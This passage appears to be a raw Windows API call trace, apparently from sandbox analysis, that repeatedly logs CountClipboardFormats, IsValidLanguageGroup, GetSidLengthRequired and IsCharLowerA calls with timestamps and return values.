returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.615] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.615] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.615] IsCharLowerA (ch=40) returned 0 [0030.615] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=41) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=42) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=43) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=44) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=45) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=46) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=47) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=48) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.616] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.616] IsCharLowerA (ch=49) returned 0 [0030.616] CountClipboardFormats () returned 4 [0030.616] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=50) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=51) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=52) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=53) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=54) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=55) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=56) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=57) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.617] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.617] IsCharLowerA (ch=58) returned 0 [0030.617] CountClipboardFormats () returned 4 [0030.617] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=59) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=60) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=61) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=62) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=63) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=32) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=33) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=34) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.618] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.618] IsCharLowerA (ch=35) returned 0 [0030.618] CountClipboardFormats () returned 4 [0030.618] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=36) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=37) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=38) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=39) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=40) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=41) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=42) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=43) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.619] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.619] IsCharLowerA (ch=44) returned 0 [0030.619] CountClipboardFormats () returned 4 [0030.619] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=45) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=46) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=47) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=48) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=49) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=50) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=51) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=52) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.620] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.620] IsCharLowerA (ch=53) returned 0 [0030.620] CountClipboardFormats () returned 4 [0030.620] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=54) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=55) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=56) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=57) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=58) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=59) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=60) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=61) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.621] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.621] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.621] IsCharLowerA (ch=62) returned 0 [0030.621] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=63) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=32) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=1) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=2) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=3) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=4) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=5) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=6) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.622] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.622] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.622] IsCharLowerA (ch=7) returned 0 [0030.622] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=8) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=9) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=10) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=11) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=12) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=13) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=14) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.623] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.623] IsCharLowerA (ch=15) returned 0 [0030.623] CountClipboardFormats () returned 4 [0030.623] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=16) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=17) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=18) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=19) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=20) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=21) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=22) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=23) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.624] IsCharLowerA (ch=24) returned 0 [0030.624] CountClipboardFormats () returned 4 [0030.624] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.624] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=25) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=26) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=27) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=28) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=29) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=30) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=31) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=32) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.625] IsCharLowerA (ch=1) returned 0 [0030.625] CountClipboardFormats () returned 4 [0030.625] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.625] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=2) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=3) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=4) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=5) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=6) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=7) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=8) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=9) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=10) returned 0 [0030.626] CountClipboardFormats () returned 4 [0030.626] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.626] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.626] IsCharLowerA (ch=11) returned 0 [0030.627] CountClipboardFormats () returned 4 [0030.627] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.627] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.627] IsCharLowerA (ch=12) returned 0 [0030.627] CountClipboardFormats () returned 4 [0030.627] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.627] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.627] IsCharLowerA (ch=13) returned 0 [0030.627] CountClipboardFormats () returned 4 [0030.627] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.627] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.627] IsCharLowerA (ch=14) returned 0 [0030.627] CountClipboardFormats () returned 4 [0030.627] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.627] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.627] IsCharLowerA (ch=15) returned 0 [0030.627] CountClipboardFormats () returned 4 [0030.627] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.627] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.627] IsCharLowerA (ch=16) returned 0 [0030.627] CountClipboardFormats () returned 4 [0030.627] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.627] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.627] IsCharLowerA (ch=17) returned 0 [0030.627] CountClipboardFormats () returned 4 [0030.627] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=18) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=19) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=20) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=21) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=22) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=23) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=24) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.628] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.628] IsCharLowerA (ch=25) returned 0 [0030.628] CountClipboardFormats () returned 4 [0030.628] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=26) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0030.629] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0030.629] IsCharLowerA (ch=27) returned 0 [0030.629] CountClipboardFormats () returned 4 [0030.629] 